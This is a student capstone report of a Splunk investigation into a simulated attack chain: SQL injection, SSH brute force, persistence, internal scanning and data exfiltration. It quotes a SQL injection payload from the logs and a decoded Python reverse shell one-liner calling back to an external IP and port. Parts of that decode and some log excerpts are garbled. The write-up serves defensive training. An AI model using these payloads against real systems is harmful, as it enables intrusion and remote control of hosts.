

# SOC CAPSTONE INVESTIGATION REPORT

Title: Incident Investigation Using Splunk

Tool Used: Splunk Enterprise

Prepared by: Oluwanifemi Felix Oyeniyi

Date: 11/1/2026

## 1. Introduction

This report documents the investigation of a simulated cyberattack using Splunk as a Security Information and Event Management (SIEM) tool. The objective of the investigation was to analyze provided log data, identify malicious activity, and answer specific questions related to reconnaissance, initial access, persistence, lateral movement, and data exfiltration.

The investigation was conducted by ingesting the provided logs into Splunk and analyzing them using Splunk Search Processing Language (SPL). The findings illustrate how attackers progress through multiple stages of an attack and how such activities can be detected through log analysis.

## 2. Methodology

The investigation followed a structured approach:

The provided logs were converted into a text file and ingested into Splunk.

The screenshot shows the 'Add Data - Set Sourcetype' interface in Splunk 10.0.2. The page title is 'Add Data - Set Sourcetype | Splunk 10.0.2'. The URL in the address bar is '127.0.0.1:8000/en-US/manager/search/adddatamethods/datapreview'. The top navigation bar includes 'splunk>enterprise Apps', '1 Messages', 'Settings', 'Activity', and 'Help'. A progress bar at the top indicates the steps: 'Select Source' (green dot), 'Set Source Type' (green dot), 'Input Settings' (white circle), 'Review' (white circle), and 'Done' (white circle). Below the progress bar, the section 'Set Source Type' is titled 'Set Source Type'. It contains a note: 'This page lets you see how the Splunk platform sees your data before indexing. If the events look correct and have the right timestamps, click "Next" to proceed. If not, use the options below to define proper event breaks and timestamps. If you cannot find an appropriate source type for your data, create a new one by clicking "Save As".' The source file is listed as 'Source: capstone\_logs.txt'. On the left, there's a sidebar with 'Source type: Select Source Type' and a 'Save As' button. The main area shows a table of log entries:

	Time	Event
+0000]	"POST /incoming/data HTTP/1.1" 200 10485760 "Host: dev-n	
11	1/5/26 3:40:03.000 PM	requests/2.25.1" 172.16.0.5-- [05/Jan/2026:14:40:03 +0000] "POS
		ta
		HTTP/1.1" 200 10485760 "Host: dev-null.io" "python-requests/2.2
		5-
12	1/5/26 3:40:04.000 PM	[05/Jan/2026:14:40:04 +0000] "POST /incoming/data HTTP/1.1" 200
13	1/5/26 2:40:05.000 PM	"Host: dev-null.io" "python-requests/2.25.1" 172.16.0.5-- [05/Ja
		05
		+0000] "POST /incoming/data HTTP/1.1" 200 10485760 "Host: dev-nu

A custom index named capstone was created to store the data.

The screenshot shows the 'Add Data - Input Settings' page in Splunk 10.0.2. The top navigation bar includes 'enterprise', 'Apps ▾', '1 Messages ▾', 'Settings ▾', and 'Activity'. The main title is 'Add Data - Input Settings | Splunk 10.0.2'. Below the title, the URL is '7.0.0.1:8000/en-US/manager/search/adddatamethods/inputsettings'. A progress bar at the top indicates the steps: 'Select Source' (green), 'Set Source Type' (green), 'Input Settings' (green), 'Review' (light blue), and 'Done' (light blue). The 'Input Settings' step is currently active. The 'Host' section contains a description of what a host value is and how it's determined. It includes three radio button options: 'Constant value' (selected), 'Regular expression on path', and 'Segment in path'. The 'Host field value' is set to 'Deji'. The 'Index' section describes what an index is and how it's selected. It shows a dropdown menu set to 'capstone' and a link to 'Create a new index'. The 'FAQ' section is visible at the bottom left.

Searches were performed using SPL to filter and analyze relevant events.

Suspicious activities were correlated across different log sources to reconstruct the attack timeline.

Indicators of compromise were identified at each stage of the attack.

All searches were performed with the time range set to All Time to ensure complete visibility of events.

### 3. Findings and Analysis

#### Question 1: Initial Reconnaissance

##### Objective

Identify the URL-encoded string used by the attacker, determine the type of attack, and explain the attacker's objective.

#### Splunk Query Used

```
index=capstone "index.php"
```

#### Analysis

The logs revealed a suspicious HTTP GET request containing a URL-encoded payload with the keywords UNION SELECT. When decoded, the request was identified as a SQL injection attempt designed to extract information from the backend database.

#### Findings

URL-encoded string: %27%20UNION%20SELECT

The screenshot shows a Splunk search interface. At the top, there's a navigation bar with 'Format' dropdown, 'Show: 20 Per Page', and 'View: List'. Below the search bar, a table lists a single event from '1/5/26 3:00:01.000 PM'. The event details a GET request to '/index.php?id=1%27%20UNION%20SELECT%20NULL,NULL,NULL,CONCAT(0x7170706271,IFNULL(CAST(DATABASE()%20AS%20NCHAR),0x20),0x7171786a71)%20-' over HTTP/1.1, with status 200 and a Mozilla/5.0 user agent.

Below the event table is a 'Event Actions' panel. It contains a table with columns 'Type', 'Field', 'Value', and 'Actions'. The 'Selected' section includes entries for 'host' (Deji), 'source' (capstone\_logs.txt), and 'sourcetype' (capstone). The 'Event' section has an entry for 'id' with the value '1%27%20UNION%20SELECT%20NULL'. The 'Time' section has an entry for '\_time' with the value '2026-01-05T15:00:01.000+01:00'. The 'Default' section includes entries for 'index' (capstone), 'linecount' (4), 'punct' (...',...-[//:::\_]/.?=%%%%,.,((0%%)),)-%-/\_.'), and 'splunk\_server' (Deji).

Attack type: Union-based SQL Injection

Attacker's objective: To enumerate the database name using the DATABASE() function

Question 2: The Pivot (Brute Force Attack)

Objective

Identify the external IP address involved in the brute force attack, the exact time of successful login, and the compromised account.

Splunk Query Used

index=capstone "sshd"

## Analysis

Multiple failed SSH login attempts originating from a single external IP address were observed. These attempts were followed by a successful authentication, indicating a successful brute force attack.

## Findings

Attacker IP address: 103.45.12.90

Successful login timestamp: 05/Jan/2026 14:10:45

The screenshot shows a Splunk search interface with the following details:

- Search Bar:** 127.0.0.1:8000/en-US/app/search/search?q=search%20index%3Dcapstone%20sshd&earliest=0&latest=&display.page.search.mode=smart&dispatch.s...
- Event Count:** Events (2)
- Timeline Format:** Timeline format
- Timestamps:** 1/5/26 2:10:45.000 PM and 1/5/26 2:05:15.000 PM
- Event Details:**
  - 1/5/26 2:10:45.000 PM: euid=0 tty=ssh ruser= host=103.45.12.90 user=root Jan 5 14:10:45 web-prod-01 sshd[1234]: Accepted password for svc\_backup from 103.45.12.90 port 54322 ssh2 host = Deji source = capstone\_logs.txt sourcetype = capstone
  - 1/5/26 2:05:15.000 PM: sshd[1234]: Invalid user admin from 103.45.12.90 port 54322 Jan 5 14:05:15 web prod-01 sshd[1234]: pam\_unix(sshd:auth): authentication failure; logname= uid=0 host = Deji source = capstone\_logs.txt sourcetype = capstone

Compromised internal account: svc\_backup

Question 3: Hidden Payload (Persistence Mechanism)

## Objective

Decode the encoded payload used for persistence, identify the attacker's IP address and port, and determine the scripting language used.

## Splunk Query Used

```
index=capstone "EXECVE"
```

## Analysis

A process execution log contained a long encoded payload associated with a shell command. Further analysis revealed that the payload consisted of a Base64-encoded reverse shell. After decoding the payload using external tools, the script was found to establish a remote connection back to the attacker. I went on to decode the Base64 message using cyberchef

The screenshot shows the CyberChef interface with the following details:

- Recipe:** From Base64
- Alphabet:** A-Za-z0-9+=
- Input:** A long Base64 encoded string:  
ZLJUc5Tf6VLA1NU0KvBt3K/Cy3j025u2wWvKcg1nD0uunZCmTAyEj01LQdowapKA1cvy3KuAHyRMuZm1sZW5vKCksMCK7b3MuZHvWMiHzLmZpbGVubygpLDEp029zLmR1cDiocy5maWx1bm8oKSwyKTwdHkuc3Bhd24oi9iaW4vYmFzaCIpJw==cr
- Output:** The decoded payload:  
pyelun3 -c 'jmpotI szczwbwxtet.socket(socket.AF\_INET,  
socket.SOCK\_STREAM);s.connect(("45.77.102.5",4444));os.dup2(s.fileno(),0);dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
- Buttons:** STEP, BAKE!, Auto Bake

## Findings

Attacker IP address: 45.77.102.5

Attacker port: 4444

Script language: Python

## Question 4: Lateral Movement

### Objective

Identify the scanning technique used, the internal subnet targeted, and the tool installed by the attacker.

### Splunk Query Used

```
index=capstone "nmap"
```

### Analysis

Logs showed that the attacker installed and executed the Nmap tool after gaining access to the system. The scan targeted an internal network range using a stealthy scanning technique.

## Findings

Scanning technique: TCP SYN scan (-sS)

Target subnet: 172.16.0.0/24

The screenshot shows a Splunk search interface with the following details:

Search | Splunk 10.0.2  
/app/search/search?q=search%20index%3Dcapstone%20nmap&&earliest=0&latest=&display.page.search.mode=smart&di...

Format: Show: 20 Per Page View: List

Time Event

1/5/24 3:26:10.441 PM

01 kernel: [4580.44] audit: type=1100 audit(1704464770.441:48): pid=5690 uid=0 auid=1001 ses=1 subj=unconfined msg='op=nmap args="-sS-T4 172.16.0.0/24" exe="/usr/bin/nmap" hostname=web-prod-01 addr=? terminal=? res=success' 172.16.0.5-- [05/Jan/2026:14:30:15 +0000] "GET /download/db\_snap\_v2.sql HTTP/1.1" 200 52428800 "-" "Wget/1.20.3 (linux-gnu)" 172.16.0.5-

Event Actions

Type	Field	Value
Selected	host	Deji
	source	capstone_logs.txt
	sourcetype	capstone
Event	addr	?
	args	-sS-T4 172.16.0.0/24
	auid	1001
	exe	/usr/bin/nmap
	hostname	web-prod-01
	msg	'op=nmap args="-sS-T4 172.16.0.0/24" exe="/usr/bin/nmap" hostname=we d-01 addr=? terminal=? res=success'
	op	nmap

Tool used: Nmap

### Question 5: Data Exfiltration (The Grand Theft)

#### Objective

Identify the stolen file, calculate the total volume of data exfiltrated, and determine the script responsible for the exfiltration.

#### (a) Stolen File

#### Splunk Query Used

index=capstone "download"

Filename of stolen data: db\_snap\_v2.sql

### (b) Total Volume of Data Sent to dev-null.io

Splunk Query Used

```
index=capstone "dev-null.io"
```

```
| stats sum(bytes)
```

The screenshot shows a Splunk search interface with the following details:

- Search Bar:** Search | Splunk 10.0.2
- URL:** 127.0.0.1:8000/en-US/app/search/search?q=search%20index%3Dcapstone%20"dev-null.io"&earliest=0&latest=&display.page.search.mode=sma...
- Event Count:** 3
- Sampling:** No Event Sampling
- Job Status:** Job
- Fields:** All Fields
- Time Range:** 1/5/26 3:40:03.000 PM - 1/5/26 3:40:05.000 PM
- Event View:** List
- Events:** Three POST requests to dev-null.io, each containing a large amount of base64-encoded data.

Time	Event
1/5/26 3:40:03.000 PM	POST /incoming/data HTTP/1.1" 200 10485760 "Host: dev-null.io" "python-requests/2.25.1" 172.16.0.5- host = Deji   source = capstone_logs.txt   sourcetype = capstone
1/5/26 3:40:01.000 PM	POST /incoming/data HTTP/1.1" 200 10485760 "Host: dev-null.io" "python-requests/2.25.1" 172.16.0.5-- [05/Jan/2026:14:40:02 +0000] "POST /incoming/data HTTP/1.1" 200 10485760 "Host: dev-null.io" "python
1/5/26 2:40:05.000 PM	host = Deji   source = capstone_logs.txt   sourcetype = capstone

Analysis of the POST requests sent to the domain dev-null.io showed that the attacker transmitted data in multiple chunks.

Total volume of data exfiltrated: 50 MB

### (c) Malicious Script Responsible

The HTTP User-Agent associated with the exfiltration traffic was identified as python-requests, indicating that the attacker used a Python-based script to automate the data exfiltration process.

Malicious script: Python exfiltration script

#### 4. Conclusion

The investigation revealed a complete attack chain beginning with SQL injection reconnaissance, followed by brute force SSH access, persistence through a reverse shell, lateral movement using internal network scanning, and finally large-scale data exfiltration.

This project demonstrates the effectiveness of Splunk as a SIEM tool for detecting and investigating security incidents. Improved monitoring of authentication logs, outbound network traffic, and system command execution could have enabled earlier detection and mitigation of the attack.